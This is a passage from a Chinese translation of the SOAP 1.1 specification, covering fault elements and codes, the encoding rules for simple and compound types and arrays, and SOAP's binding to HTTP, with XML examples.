faultstring元素提供了一个错误解释，而不是为了软件处理。faultstring元素类似于HTTP中定义(见[5]，第6.1节）的'Reason-Phrase'。SOAP错误元素必须有faultstring子元素，并且它应该提供一些错误本质的解释信息。

faultactor

faultactor元素提供了在消息路径上是谁导致了错误发生的信息（见第2节）。它类似于SOAP actor属性（见4.2.2节），只是SOAP actor指的是头条目的目的地，faultactor指的是错误的来源。faultactor属性的值是用来区分错误来源的URI。不是SOAP消息的最终目的地的应用程序必须在SOAP Fault元素中包含faultactor元素。消息的最终目的地可以使用faultactor元素明确的指示是它产生了这个错误（参见下面的detail元素）

detail

detail元素用来携带与Body元素有关的应用程序所要的错误信息。如果Body元素的内容不能被成功的处理，则必须包含detail子元素。它不能用来携带属于头条目的错误信息。头条目的详细出错信息必须由头条目携带。Fault元素中没有detail元素表示这个错误与Body元素的处理无关。在有错误的时候，这可以用来区分Body元素有没有被正确的处理。detail元素的所有直接子元素称作detail条目，并且每个detail条目在detail元素中编码为独立的元素。detail条目的编码规则如下（参见例10）： 一个detail条目由它的元素全名（包括名域URI和局部名）确定。SOAP体元素的直接子元素可能是名域限制的。SOAP encodingStyle属性可能用来指示detail条目（见4.1.1节）的编码方式。也可以有其它的Fault子元素，只要它们是名域限制的。

4.4.1 SOAP 错误代码

在描述这个规范中定义的错误时，这一节中定义的Faultcode值必须用在faultcode元素中。这些faultcode值得名域标志符为"http://schemas.xmlsoap.org/soap/envelope/"。定义这个规范之外的方法时推荐（不要求）使用这个名域。缺省的SOAP faultcode值以可扩展的方式定义，允许定义新的SOAP faultcode值，并与现有的faultcode值向后兼容。使用的机制类似于HTTP中定义的1xx, 2xx,3xx等基本的状态类（见[5]第10节），不过，它们定义为XML合法名（见 [8] 第3节 ），而不是整数。 字符"."（点）作为faultcode的分隔符，点左边的错误代码比右边的错误代码更为普通。如：

Client.Authentication

这篇文档中定义的faultcode值是：

名称 含义

VersionMismatch 处理方发现SOAP封装元素有不合法的名域（见4.1.2节）

MustUnderstand 处理方不理解或者不服从一个包含值为"1"的

mustUnderstand 属性的 SOAP头元素的直接子元素。（见4.2.3节）

Client

Client错误类表示消息的格式错误或者不包含适当的正确信息。例如，消息可能缺少正确的认证和支付信息。一般地，它表示消息不能不作修改就重发。参见4.4节

SOAP Fault detail子元素的描述。

Server

Server错误类表示由于消息的处理过程而不是消息的内容本身使得消息消息不能正确的处理。例如，处理消息时可能要与其它处理器通信，但它没有响应。这个消息可能在迟一点的时间处理成功。 SOAP Fault子元素的详细信息参见4.4节

5. SOAP编码

SOAP编码格式基于一个简单的类型系统，概括了程序语言，数据库和半结构化数据等类型系统的共同特性。一个类型或者是一个简单的（标量的）类型，或者是由几个部分组合而成的复合类型，其中每个部分都有自己的类型。以下将详细描述这些类型。这一节定义了类型化对象的序列化规则。它分两个层次。首先，给定一个与类型系统的符号系统一致的Schema（译者注：这里的schema不是符合XML语法的schema，而仅仅表示广义的用于表示消息结构的定义方式），就构造了XML语法的Schema。然后，给定一个类型系统的Schema和与这个Schema一致的特定的值，就构造了一个XML文档实例。反之，给定一个依照这些规则产生的XML文档实例和初始的Schema，就可以构造初始值的一个副本。这一节中定义的元素和属性的名域标志符为"http://schemas.xmlsoap.org/soap/encoding/"。下面的例子都假定在上一层的元素中声明了名域。

鼓励使用这一节中描述的数据模型和编码方式，但也可以在SOAP中使用其他的数据模型和编码方式。（见4.1.1节）

5.1 XML中的编码类型规则

XML允许非常灵活的数据编码方式。SOAP定义了一个较小的规则集合。这一节在总的层次上定义了这些编码规则，下一节将描述特定类型的编码规则的细节。这一节定义的编码规则可以与第7节中所述的RPC调用和应答映射结合使用。下面的术语用来描述编码规则:

一个"value"是一个字符串，类型（数字，日期，枚举等等）的名或是几个简单值的组合。所有的值都有特定的类型。

一个"simple value"没有名部分， 如特定的字符串，整数，枚举值等等。

一个"compound value"是相关的值的结合，如定单，股票报表，街道地址等等。在"compound value"中，每个相关的值都潜在的以名，序数或这两者来区分。这叫作"a ccessor"。复合值的例子有定单和股票报表等等。数组也是复合值。在复合值中，多个accessor有相同的名是允许的，例如RDF就是这样做的。

一个"array"是一个复合值，成员值按照在数组中的位置相互区分。

一个"struct"也是一个复合值，成员值之间的唯一区别是accessor名，accessor名互不相同。

一个"simple type"是简单值的类，如叫做"string" "integer"的类，还有枚举类等等。

一个"compound type"是复合值的类。复合类型的例子有定单类，它们有相同的accessor名（shipTo, totalCost等），但可能会有不同的值（可能以后被设置为确定的值）。

在复合类型中，如果类型内的accessor名互不相同，但是可能与其他类型中的accessor名相同，即，accessor名加上类型名形成一个唯一的标志符，这个名叫作"局部范围名"。如果名是直接或间接的基于URI的一部分，那么不管它出现在什么类型中，这个名本身就可以唯一标志这个accessor，这样的名叫作"全局范围名"。给定了schema中相关的值的序列化信息，就可能确定某些值只与某个accessor的一个实例有关。其它情况下则无法确定。当且仅当一个accessor引用一个值，这个值才能被视为"single-reference"，如果有不止一个accessor引用它，那么就将它视为"multi-reference"。注意，可能一个确定的值在一个schema中是"single-reference"，而在另一个schema中是"multi-reference"。在语句构成上，一个元素可能是"independent" 或 "embedded"。一个独立的元素指出现在序列化最顶层的任何元素。所有其它元素都是嵌入元素。虽然用xsi:type属性可以使值的结构和类型变为自描述的，但是序列化规则允许值的类型仅仅参照schema而定。这样的schema可能使用"XML Schema Part 1: Structures" [10]和"XML Schema Part 2: Datatypes" [11]中描述的符号系统，也可能使用其它符号系统。注意，虽然序列化规则可以用于除了数组和结构之外的复合类型，但是许多schema仅仅包含数组和结构类型。序列化规则如下:

所有的值以元素内容的形式表示。一个multi-reference值必须表示为一个独立元素的内容，而一个single-reference值最好不要这样表示（也可以这样表示）。对于每个具有值的元素，值的类型时必须用下述三种方式之一描述：

所属元素实例有xsi:type属性

所属元素是一个有SOAP-ENC:arrayType 属性（该属性可能是缺省的）的元素的子元素，或者

所属元素的名具有特定的类型，类型可以由schema确定。

一个简单值表示为字符数据，即没有任何子元素。每个简单值必须具有一个类型，这个类型或者是XML Schemas Specification, part 2 [11]有的类型，或者具有源类型（参见5.2节）。一个复合值编码成一个元素的序列，每个accessor用一个嵌入元素表示，该元素的元素名和accessor的名一致。如果accessor的名是局部于其所属的类型的，则该元素的元素名不是合格的，否则对应的元素名是合格的。(参见5.4节)

一个multi-reference的简单值或复合值编码成一个独立的元素，这个元素包含一个局部的无需校验的属性，属性名为"id"，类型为"ID"（依照XML Specification [7]）。值的每个accessor对应一个空元素，该元素有一个局部的，无需校验的属性，属性名为"href"，类型为" uri-reference "（依照XML Schema Specification [11]），"href"属性的值引用了相对应的独立元素的URI标志符。字符串和字符数组表示为multi-reference的简单类型，但是特殊的规则使它们在普通的情况下能被更有效的表示（参见5.2.1节和5.2.3节）。字符串和字符数组值的accessor可能有一个名字为"id"，类型为"ID"（依照XML Specification [7]）的属性。如果这样，所有这个值的所有其它accessor编码成一个空元素，这个元素有一个局部的，无需校验的属性，属性名为"href"，类型为" uri-reference "（依照XML Schema Specification [11]），"href"属性的值引用了包含这个值的元素的URI标志符。编码时允许一个值有多个引用，就像多个不同的值有多个引用一样，但这仅在从上下文可以知道这个XML文档实例的含义没有改变时才可使用。数组是复合值（参见5.4.2节）。SOAP数组定义为具有类型"SOAP-ENC:Array"或从它衍生的类型.

SOAP数组可以时一维或多维，它们的成员以序数位置相互区分。一个数组值表示为反映这个数组的一系列元素，数组成员按升序出现。对多维数组来说，右边的这一维变化最快。每个成员元素命名为一个独立元素。（见规则2）SOAP数组可以是single-reference 或multi-reference值，因此可以表示为嵌入元素或独立元素的内容。SOAP数组必须包含一个"SOAP-ENC:arrayType"属性，它的值指定了包含元素的类型和数组的维数。"SOAP-ENC:arrayType"属性的值定义如下：

arrayTypeValue = atype asize

atype = QName *( rank )

rank = "[" *( "," ) "]"

asize = "[" #length "]"

length = 1*DIGIT

"atype"结构是被包含元素的类型名，它表示为QName并且作为类型限制在XML元素声明的

"type"属性中出现（这意味着被包含元素的所有值都要与该类型一致，即在SOAP-ENC:a rrayType中引用的类型必须是每个数组成员的类型或超类型）。在arrays of arrays or "jagged arrays"的情况下，类型组件编码为"innermost"类型且在从第一层开始的嵌套数组的每一层中，类型名后都跟随一个rank结构。多维数组编码时从第一维起，每一维之间用逗号隔开。

"asize"结构包含一个以逗号分隔的列表，数值0，1或其它整数表示数组每一维的长度。整数0表示没有指定详细的大小，但是可能在检查数组实际成员的大小后确定。例如，一个5个成员的整型数组的arrayTypeValue值为"int[][5]"，它的atype值是int[]"，asize值是"[5]"。同样，一个3个成员的两维整型数组的arrayTypeValue值为"int[,][3]"，它的atype值是int[,]"，asize值是"[3]"。

一个SOAP数组成员可能包含一个"SOAP-ENC:offset"属性表示这一项在整个数组中的位置偏移值。这被用来指示一个部分储值数组（见5.4.2.1节）的位置偏移值。同样，一个数组成员可能包含一个"SOAP-ENC:position"属性表示这一项在整个数组中的位置，这被用来描述稀疏数组（见5.4.2.2节）的成员。"SOAP-ENC:offset" 和"SOAP-ENC:position"属性值的定义如下：

arrayPoint = "[" #length "]"

偏移值和位置从0开始

NULL值或缺省值可能通过省略accssor元素来表示。NULL值也可能通过一个包含值为'1'的xsi:null属性的accssor元素来表示，其它的依赖于应用程序的属性和值也可能用来表示NULL值。注意，规则2允许独立的元素和数组成员名不同于值类型的元素。

5.2 简单类型

SOAP采用了"XML Schema Part 2: Datatypes"规范[11]"Built-in datatypes"节中的所有类型作为简单类型，包括值和取值范围。例如：

类型 举例

int 58502

float 314159265358979E+1

negativeInteger -32768

string Louis "Satchmo" Armstrong

在XML Schema规范中声明的数据类型可以直接用在元素schema中，也可以使用从这些类型衍生的新类型。一个schema和对应的具有这些类型的元素的数据实例的例子如下所示：

<element name="age" type="int"/>

<element name="height" type="float"/>

<element name="displacement" type="negativeInteger"/>

<element name="color">

<simpleType base="xsd:string">

<enumeration value="Green"/>

<enumeration value="Blue"/>

</simpleType>

</element>

<age>45</age>

<height>5.9</height>

<displacement>-450</displacement>

<color>Blue</color>

所有简单值必须编码为元素的内容，它的类型或者在"XML Schema Part 2: Datatypes"规范[11]中定义过，或者是基于一个用XML Schema规范提供的机制能推衍生出的类型。如果一个简单值编码为独立元素或异质数组成员，那么有一个对应于数据类型的元素声明将会很方便。因为"XML Schema Part 2: Datatypes"规范[11]包括了类型定义，但是不包括对应的元素声明，SOAP-ENC schema和名域为每个简单数据类型声明了一个元素，如<SOAP-ENC:int id="int1">45</SOAP-ENC:int>

5.2.1 字符串

字符串数据类型的定义在"XML Schema Part 2: Datatypes"规范[11]中。注意，这不同于许多数据库和程序语言中的"string"类型，特别的，字符串数据类型可能禁止某些在那些语言中允许的字符。（这些值必须用xsd:string之外的数据类型表示）一个字符串可能编码为一个single-reference 或 multi-reference值。包含字符串值的元素可能有一个"id"属性。附加的accessor元素可能有对应的"href"属性。

例如，同一字符串的两个accessor可能以如下形式出现：

<greeting id="String-0">Hello</greeting>

<salutation href="#String-0"/>

但是，如果两个accessor参考同一字符串实例（或字符串的子类型），这不是一个实质问题，它们可以编码为两个single-reference值，如下所示：

<greeting>Hello</greeting>

<salutation>Hello</salutation>

这个例子的schema片断如下所示：

<element name="greeting" type="SOAP-ENC:string"/>

<element name="salutation" type="SOAP-ENC:string"/>

在这个例子中，SOAP-ENC:string类型用作元素的类型，这是声明数据类型是"xsd:string"且允许"id" 和"href"属性的元素的简便方法。精确定义参见SOAP编码schema。Schemas可以使用这些源自SOAP编码schema的声明，但也可以不这样做。

5.2.2 Enumerations

"XML Schema Part 2: Datatypes"规范 [11] 定义了"enumeration."机制。SOAP数据模型直接采用了这种机制。但是，由于程序语言和其它语言在定义枚举时通常有些不同，所以我们在这里详细阐述了它的概念并描述了一个列表成员的可能取的值是如何编码的。"Enumeration"作为一个概念表示不同的名字的集合。一个特定的枚举就是对应于特定的基类型的不同的值的列表。例如，颜色集合("Green", "Blue", "Brown")可以定义为基于字符串类型的枚举，("1", "3", "5")可能是一个基于整型数的枚举，等等。"XML Schema Part 2: Datatypes" [11]支持除了布尔型以外所有简单类型的枚举。"XML Schema Part 1: Structures"规范[10]的语言可以用来定义枚举类型。如果schema由另一个没有特定基类型适用的符号系统生成，就使用"string"。在下面schema的例子中，"EyeColor"定义为字符串，可能的值是"Green", "Blue", 或"Brown"的枚举，数据实例按照schema显示如下。

<element name="EyeColor" type="tns:EyeColor"/>

<simpleType name="EyeColor" base="xsd:string">

<enumeration value="Green"/>

<enumeration value="Blue"/>

<enumeration value="Brown"/>

</simpleType>

<Person>

<Name>Henry Ford</Name>

<Age>32</Age>

<EyeColor>Brown</EyeColor>

</Person>

5.2.3 字符数组

一个字符数组可能编码为single-reference 或multi-reference值。字符数组的编码规则与字符串的编码规则类似。特别的，包含字符数组的元素值可能由一个"id"属性，附加的accssor元素可能有相应的"href"属性。推荐使用定义在XML Schemas [10][11]中的'base64'编码（使用在2045 [13]中定义的base64编码算法）表示模糊字符数组。不过，由于行长度（line length）的限制，通常在MIME中应用base64编码，SOAP中一般不应用base64编码。但是提供了"SOAP-ENC:base64"子类型使之能用于SOAP。

<picture xsi:type="SOAP-ENC:base64">

aG93IG5vDyBicm73biBjb3cNCg==

</picture>

5.3 多态accessor

许多语言允许能够多态访问多种类型值的accessor，每种类型在运行时可用。一个多态accessor实例必须包含一个"xsi:type"属性描述实际值的类型。例如，一个名为"cost"类型值为"xsd:float"的多态accessor编码如下：

<cost xsi:type="xsd:float">29.95</cost>与之对比，类型值不变的accessor编码如下：

<cost>29.95</cost>

5.4 Compound types复合类型

SOAP定义了与下列常在程序语言中出现的结构性模式对应的类型：

结构:一个"struct"是一个复合值，它的成员值的唯一区别是accessor名称，任意两个accessor名称都不相同。

数组:一个"array"是一个复合值，它的成员值的唯一区别是序数位置。

SOAP也允许结构和数组之外的其它数据的序列化，例如Directed-Labeled-Graph Data Model之类的数据中，单个节点有许多不同的accssor，有些不止出现一次。SOAP序列化规则不要求底层的数据模型在accssor之间区分次序，但如果有这样的次序的话，这些accssor必须按照这个顺序编码。

5.4.1 复合值，结构和值引用

复合值的成员编码为accessor元素。当accessor由名区分时（如结构），accessor名即作为元素名。名局部于类型的accessor有不受限的名，其它的accessor则有受限的名。下面的例子是类型为"Book"的结构：

<e:Book>

<author>Henry Ford</author>

<preface>Prefatory text</preface>

<intro>This is a book.</intro>

</e:Book>

以下是描述上面结构的schema片断：

<element name="Book">

<complexType>

<element name="author" type="xsd:string"/>

<element name="preface" type="xsd:string"/>

<element name="intro" type="xsd:string"/>

</complexType>

</e:Book>

以下是一个同时具有简单和复杂成员类型的例子。它显示两层引用。注意"Author"accssor元素的"href"属性是对相应具有"id"属性的值的引用。"Address"与之类似。

<e:Book>

<title>My Life and Work</title>

<author href="#Person-1"/>

</e:Book>

<e:Person id="Person-1">

<name>Henry Ford</name>

<address href="#Address-2"/>

</e:Person>

<e:Address id="Address-2">

<email>mailto:henryford@hotmail.com</email>

<web>http://www.henryford.com</web>

</e:Address>

当"Person"的值和"Address"的值是multi-reference时，上面的形式是正确的。如果它

们是single-reference，就必须用嵌入的形式，如下所示：

<e:Book>

<title>My Life and Work</title>

<author>

<name>Henry Ford</name>

<address>

<email>mailto:henryford@hotmail.com</email>

<web>http://www.henryford.com</web>

</address>

</author>

</e:Book>

如果添加一个限制，任意两个人都不会有相同的地址，并且地址可以是街道或Email地址，一本书可以有两个作者，编码如下：

<e:Book>

<title>My Life and Work</title>

<firstauthor href="#Person-1"/>

<secondauthor href="#Person-2"/>

</e:Book>

<e:Person id="Person-1">

<name>Henry Ford</name>

<address xsi:type="m:Electronic-address">

<email>mailto:henryford@hotmail.com</email>

<web>http://www.henryford.com</web>

</address>

</e:Person>

<e:Person id="Person-2">

<name>Samuel Crowther</name>

<address xsi:type="n:Street-address">

<street>Martin Luther King Rd</street>

<city>Raleigh</city>

<state>North Carolina</state>

</address>

</e:Person>

序列化可以包含对不在同一个资源的值的引用：

<e:Book>

<title>Paradise Lost</title>

<firstauthor href="http://www.dartmouth.edu/~milton/"/>

</e:Book>

以下是描述上面结构的schema片断：

<element name="Book" type="tns:Book"/>

<complexType name="Book">

<!-- Either the following group must occur or else the

href attribute must appear, but not both. -->

<sequence minOccurs="0" maxOccurs="1">

<element name="title" type="xsd:string"/>

<element name="firstauthor" type="tns:Person"/>

<element name="secondauthor" type="tns:Person"/>

</sequence>

<attribute name="href" type="uriReference"/>

<attribute name="id" type="ID"/>

<anyAttribute namespace="##other"/>

</complexType>

<element name="Person" base="tns:Person"/>

<complexType name="Person">

<!-- Either the following group must occur or else the

href attribute must appear, but not both. -->

<sequence minOccurs="0" maxOccurs="1">

<element name="name" type="xsd:string"/>

<element name="address" type="tns:Address"/>

</sequence>

<attribute name="href" type="uriReference"/>

<attribute name="id" type="ID"/>

<anyAttribute namespace="##other"/>

</complexType>

<element name="Address" base="tns:Address"/>

<complexType name="Address">

<!-- Either the following group must occur or else the

href attribute must appear, but not both. -->

<sequence minOccurs="0" maxOccurs="1">

<element name="street" type="xsd:string"/>

<element name="city" type="xsd:string"/>

<element name="state" type="xsd:string"/>

</sequence>

<attribute name="href" type="uriReference"/>

<attribute name="id" type="ID"/>

<anyAttribute namespace="##other"/>

</complexType>

5.4.2 数组

SOAP数组定义为具有"SOAP-ENC:Array"类型或一个从"SOAP-ENC:Array"衍生的类型（参见规则8）。数组表示为元素值，对元素的名没有特别的约束（正如元素值并不约束它们所属的元素）。数组可以包含任意类型的元素，包括嵌套数组。可以创建新的类型（受SOAP-ENC:Array

类型限制）来表示数组，如整数数组或某些用户定义的枚举。数组值表示为组成这个数组的项的元素的规则序列。在数组值中，元素名对于区分accesor并不重要。元素可以有任意的名。实际上，元素常常用它们在schema中暗示或确定的数组类型来命名元素。并且一般情况下对于复合值来说，如果数组中数组项的值是single-reference值，则这个数组项包含它的值，否则，该数组项通过"href"属性引用这个值。下面的例子是一个整型数组的schema片断：

<element name="myFavoriteNumbers"

type="SOAP-ENC:Array"/>

<myFavoriteNumbers

SOAP-ENC:arrayType="xsd:int[2]">

<number>3</number>

<number>4</number>

</myFavoriteNumbers>

在这个例子中，数组"myFavoriteNumbers"包括几个成员，每个成员是一个类型为SOAP-ENC:int的值。注意SOAP-ENC:Array允许不受限制的元素名，它们不传达任何类型信息，所以在使用时，或者它们有xsi:type属性，或者它们所属的元素有SOAP-ENC:arrayType属性。自然，由SOAP-ENC:Array衍生的类型可以声明局部元素，但这种情况下要包括类型信息。上面已经提到，SOAP-ENC schema包含了元素的声明，元素名与"XML Schema Part 2: Datatypes"规范[11]中的简单类型一致。其中包括了对"Array"的声明。于是，我们可以这样写：

<SOAP-ENC:Array SOAP-ENC:arrayType="xsd:int[2]">

<SOAP-ENC:int>3</SOAP-ENC:int>

<SOAP-ENC:int>4</SOAP-ENC:int>

</SOAP-ENC:Array>

数组可以包含特定arrayType的任意子类型的实例。即，数组成员可以是arryType属性值指定的类型的任意子类型，这个类型对于arrayType属性中指定的类型来说是可替换的（根据schema中的替换规则）。例如，一个整型数组可以包含从整型衍生的任意类型（如"int"或任意用户定义的从整型衍生的类型）。同样，一个"address"数组可能包含一个address的受限类型或扩展类型如"internationalAddress"。因为提供的SOAP-ENC:Array类型允许任意类型的成员，所以可以包含任意类型的混合除非使用arrayType属性加以特别的限制。在实例中，可以使用xsi:type指定成员元素的类型，或通过schema中成员元素的声明来指定。下面是两个例子。

<SOAP-ENC:Array SOAP-ENC:arrayType="SOAP-ENC:ur-type[4]">

<thing xsi:type="xsd:int">12345</thing>

<thing xsi:type="xsd:decimal">6.789</thing>

<thing xsi:type="xsd:string">

Of Mans First Disobedience, and the Fruit

Of that Forbidden Tree, whose mortal tast

Brought Death into the World, and all our woe,

</thing>

<thing xsi:type="xsd:uriReference"> http://www.dartmouth.edu/~milton/reading_room/ </thing>

</SOAP-ENC:Array>

<SOAP-ENC:Array SOAP-ENC:arrayType="SOAP-ENC:ur-type[4]">

<SOAP-ENC:int>12345</SOAP-ENC:int>

<SOAP-ENC:decimal>6.789</SOAP-ENC:decimal>

<xsd:string>

Of Mans First Disobedience, and the Fruit

Of that Forbidden Tree, whose mortal tast

Brought Death into the World, and all our woe,

</xsd:string>

<SOAP-ENC:uriReference> http://www.dartmouth.edu/~milton/reading_room/ </SOAP-ENC:uriReference >

</SOAP-ENC:Array>

数组值可以是结构或其它复合值。例如"xyz:Order"结构数组：

<SOAP-ENC:Array SOAP-ENC:arrayType="xyz:Order[2]">

<Order>

<Product>Apple</Product>

<Price>1.56</Price>

</Order>

<Order>

<Product>Peach</Product>

<Price>1.48</Price>

</Order>

</SOAP-ENC:Array>

数组成员值也可以是数组。下例是两个字符串数组组成的数组：

<SOAP-ENC:Array SOAP-ENC:arrayType="xsd:string[][2]">

<item href="#array-1"/>

<item href="#array-2"/>

</SOAP-ENC:Array>

<SOAP-ENC:Array id="array-1" SOAP-ENC:arrayType="xsd:string[2]">

<item>r1c1</item>

<item>r1c2</item>

<item>r1c3</item>

</SOAP-ENC:Array>

<SOAP-ENC:Array id="array-2" SOAP-ENC:arrayType="xsd:string[2]">

<item>r2c1</item>

<item>r2c2</item>

</SOAP-ENC:Array>

包含数组的元素无需命名为"SOAP-ENC:Array"。它可以有任意的名，只要元素的类型是SOAP-ENC:Array或由之衍生的类型。例如，下面是一个schema片断和与之一致的数组实例。

<simpleType name="phoneNumber" base="string"/>

<element name="ArrayOfPhoneNumbers">

<complexType base="SOAP-ENC:Array">

<element name="phoneNumber" type="tns:phoneNumber" maxOccurs="unbounded" />

</complexType>

<anyAttribute/>

</element>

<xyz:ArrayOfPhoneNumbers SOAP-ENC:arrayType="xyz:phoneNumber[2]">

<phoneNumber>206-555-1212</phoneNumber>

<phoneNumber>1-888-123-4567</phoneNumber>

</xyz:ArrayOfPhoneNumbers>

数组可能是多维的。在这种情况下，在arrayType属性的asize部分将不止有一个值：

<SOAP-ENC:Array SOAP-ENC:arrayType="xsd:string[2,3]">

<item>r1c1</item>

<item>r1c2</item>

<item>r1c3</item>

<item>r2c1</item>

<item>r2c2</item>

<item>r2c3</item>

</SOAP-ENC:Array>

虽然上面的例子把数组编码为独立的元素，但元素值也可以是嵌入形式，而且若元素值是single reference时，必须编码为嵌入形式。下例是一个schema片断，电话号码数组嵌入到一个类型为"Person"的结构中，并且通过accessor "phone-numbers"访问它：

<simpleType name="phoneNumber" base="string"/>

<element name="ArrayOfPhoneNumbers">

<complexType base="SOAP-ENC:Array">

<element name="phoneNumber" type="tns:phoneNumber" maxOccurs="unbounded"/>

</complexType>

<anyAttribute/>

</element>

<element name="Person">

<complexType>

<element name="name" type="string"/>

<element name="phoneNumbers" type="tns:ArrayOfPhoneNumbers"/>

</complexType>

</element>

<xyz:Person>

<name>John Hancock</name>

<phoneNumbers SOAP-ENC:arrayType="xyz:phoneNumber[2]">

<phoneNumber>206-555-1212</phoneNumber>

<phoneNumber>1-888-123-4567</phoneNumber>

</phoneNumbers>

</xyz:Person>

下面的例子中，数组值为single-reference，被编码为嵌入元素，包含它的元素名即为入口名：

<xyz:PurchaseOrder>

<CustomerName>Henry Ford</CustomerName>

<ShipTo>

<Street>5th Ave</Street>

<City>New York</City>

<State>NY</State>

<Zip>10010</Zip>

</ShipTo>

<PurchaseLineItems SOAP-ENC:arrayType="Order[2]">

<Order>

<Product>Apple</Product>

<Price>1.56</Price>

</Order>

<Order>

<Product>Peach</Product>

<Price>1.48</Price>

</Order>

</PurchaseLineItems>

</xyz:PurchaseOrder>

5.4.2.1 部分储值（partially transmitted）数组

SOAP提供了对部分储值（partially transmitted）数组的支持，如某些上下文中的可变数组。一个partially transmitted 数组由一个"SOAP-ENC:offset"属性（从第一个transmitted的元素开始的偏移量，基于0）指示。如果省略，偏移量取0。下面的例子中数组的大小为5，但只有从0起，第三和第四个元素被储值。

<SOAP-ENC:Array ;SOAP-ENC:arrayType="xsd:string[5]" ;SOAP-ENC:offset="[2]">

<item>The third element</item>

<item>The fourth element</item>

</SOAP-ENC:Array>

5.4.2.2 稀疏数组Sparse Arrays

SOAP提供了对稀疏数组的支持。每个表示成员值的元素包含一个"SOAP-ENC:position"属性，用来指示它在数组中的位置。下例是两维字符串稀疏数组的例子，数组大小是4，但只用到第2个。

<SOAP-ENC:Array SOAP-ENC:arrayType="xsd:string[,][4]">

<SOAP-ENC:Array href="#array-1" SOAP-ENC:position="[2]"/>

</SOAP-ENC:Array>

<SOAP-ENC:Array id="array-1" SOAP-ENC:arrayType="xsd:string[10,10]">

<item SOAP-ENC:position="[2,2]">Third row, third col</item>

<item SOAP-ENC:position="[7,2]">Eighth row, third col</item>

</SOAP-ENC:Array>

如果对array-1的引用仅发生在数组内部，上例也可以编码如下：

<SOAP-ENC:Array SOAP-ENC:arrayType="xsd:string[,][4]">

<SOAP-ENC:Array SOAP-ENC:position="[2]" SOAP-ENC:arrayType="xsd:string[10, 10]>

<item SOAP-ENC:position="[2,2]">Third row, third col</item>

<item SOAP-ENC:position="[7,2]">Eighth row, third col</item>

</SOAP-ENC:Array>

</SOAP-ENC:Array>

5.4.3 一般复合类型

在这里提到的编码规则不仅仅限于accessor名已知的情况，如果accessor名是运行环境下实时获得的，编码规则同样适用，也就是说accessor编码成一个元素名与accessor名匹配的元素，同时accessor可能包含或者引用该元素的值。如果accessor包含类型不能事先确定的值，它必须包含一个合适的属性xsi:type 。类似地，上述引用的规则已经足够用于复合类型的序列化，这些复合类型可能包含用名区分的accessors（结构）和用名及序数位置区分的accessors。（可能包含重复的accessor） 实际上这并不要求任何schema模式包含这些类型，但更为准确的说法是：一个类型模型（type-model）schema如果有这些类型，就可以构造一个符合XML句法规则的schema和XML文档实例。

<xyz:PurchaseOrder>

<CustomerName>Henry Ford</CustomerName>

<ShipTo>

<Street>5th Ave</Street>

<City>New York</City>

<State>NY</State>

<Zip>10010</Zip>

</ShipTo>

<PurchaseLineItems>

<Order>

<Product>Apple</Product>

<Price>1.56</Price>

</Order>

<Order>

<Product>Peach</Product>

<Price>1.48</Price>

</Order>

</PurchaseLineItems>

</xyz:PurchaseOrder>

类似地，将一个结构上类似数组但实际上不是一个 SOAP-ENC:Array类型或者 SOAP-ENC:Array子类型的复合值序列化同样是允许的，例如：

<PurchaseLineItems>

<Order>

<Product>Apple</Product>

<Price>1.56</Price>

</Order>

<Order>

<Product>Peach</Product>

<Price>1.48</Price>

</Order>

</PurchaseLineItems>

5.5 缺省值

省略accessor元素意味着或者有一个缺省值或者值不知道。具体细节依靠这个accessor，方法和上下文。例如，对于多态accessor，省略accessor一般意味着一个Null值。同样，省略布尔accessor一般意味着False值或者值不知道，省略数字accessor一般意味着值为零或者值不知道。

5.6 SOAP root属性

SOAP root 属性可用于标记一个序列化root，从而一个对象可以反序列化（deserialized），而实际上该root并不是真正的对象root。这个属性有两个可选值"1" or "0"。对象真正的roots属性值为“1” ，序列化root但不是真正的root属性值也为“1”，元素如果要显式地指定不能为序列化root，只需将该属性设置为“0” SOAP root属性可以出现在SOAP头和SOAP体元素的任意子元素中。（译者注：SOAP root属性为0的元素不是一个独立的实体，外部的应用不能访问到该元素，但该元素可以被SOAP文档本身的其它元素访问到）SOAP root属性可以出现在SOAP头和SOAP体元素的任意子元素中。这个属性没有缺省值。

6. 在HTTP中使用SOAP

这一节讲述了如何在HTTP中使用SOAP。把SOAP绑定到HTTP，无论使用或不用HTTP扩展框架，都有很大的好处：在利用SOAP的形式化和灵活性的同时，使用HTTP种种丰富的特性。在HTTP中携带SOAP消息，并不意味着SOAP改写了HTTP已有的语义，而是将构建在HTTP之上SOAP语义自然地对应到HTTP语义。SOAP自然地遵循HTTP的请求/应答消息模型使得SOAP的请求和应答参数可以包含在HTTP请求和应答中。注意，SOAP的中间节点与HTTP的中间节点并不等同，即，不要期望一个根据HTTP连接头中的域寻址到的HTTP中间节点能够检查或处理HTTP请求中的SOAP消息。

在HTTP消息中包含SOAP实体时，按照RFC2376[3] HTTP应用程序必须使用媒体类型 "text/xml"。

6.1 SOAP HTTP请求

虽然SOAP可能与各种HTTP请求方式相结合，但是绑定仅定义了在HTTP POST请求中包含SOAP消息。（第7节中描述了如何在RPC中使用SOAP，第6.3节描述了如何使用HTTP扩展框架）

6.1.1 HTTP头中SOAPAction域

一个HTTP请求头中的SOAPAction域用来指出这是一个SOAP HTTP请求，它的值是所要的URI。在格式、URI的特性和可解析性上没有任何限制。当HTTP客户发出SOAP HTTP请求时必须使用在HTTP头中使用这个域。

soapaction = "SOAPAction" ":" [ <"> URI-reference <"> ]

URI-reference = <as defined in RFC 2396 [4]>

HTTP头中SOAPAction域使服务器（如防火墙）能正确的过滤HTTP中SOAP请求消息。如果这个域的值是空字符串（""），表示SOAP消息的目标就是HTTP请求的URI。这个域没有值表示没有SOAP消息的目标的信息。例子:

SOAPAction: "http://electrocommerce.org/abc#MyMessage"

SOAPAction: "myapp.sdl"

SOAPAction: ""

SOAPAction:

6.2 SOAP HTTP应答

SOAP HTTP遵循HTTP 中表示通信状态信息的HTTP状态码的语义。例如，2xx状态码表示这个包含了SOAP组件的客户请求已经被成功的收到，理解和接受。在处理请求时如果发生错误，SOAP HTTP服务器必须发出应答HTTP 500 "Internal Server Error"，并在这个应答中包含一个SOAP Fault元素（见4.4节）表示这个SOAP处理错误。

6.3 HTTP扩展框架

一个SOAP消息可以与HTTP扩展框架 [6]一起使用以区分是否有SOAP HTTP请求和它的目标。是使用扩展框架或是普通的HTTP关系到通信各方的策略和能力。通过使用一个必需的扩展声明和"M-"HTTP方法名前缀，客户可以强制使用HTTP扩展框架。服务器可以使用HTTP状态码510 "Not Extended"强制使用HTTP扩展框架。也就是说，使用一个额外的来回，任何一方都可以发现另一方的策略并依照执行。用来表示SOAP使用了扩展框架的扩展标志符是：http://schemas.xmlsoap.org/soap/envelope/

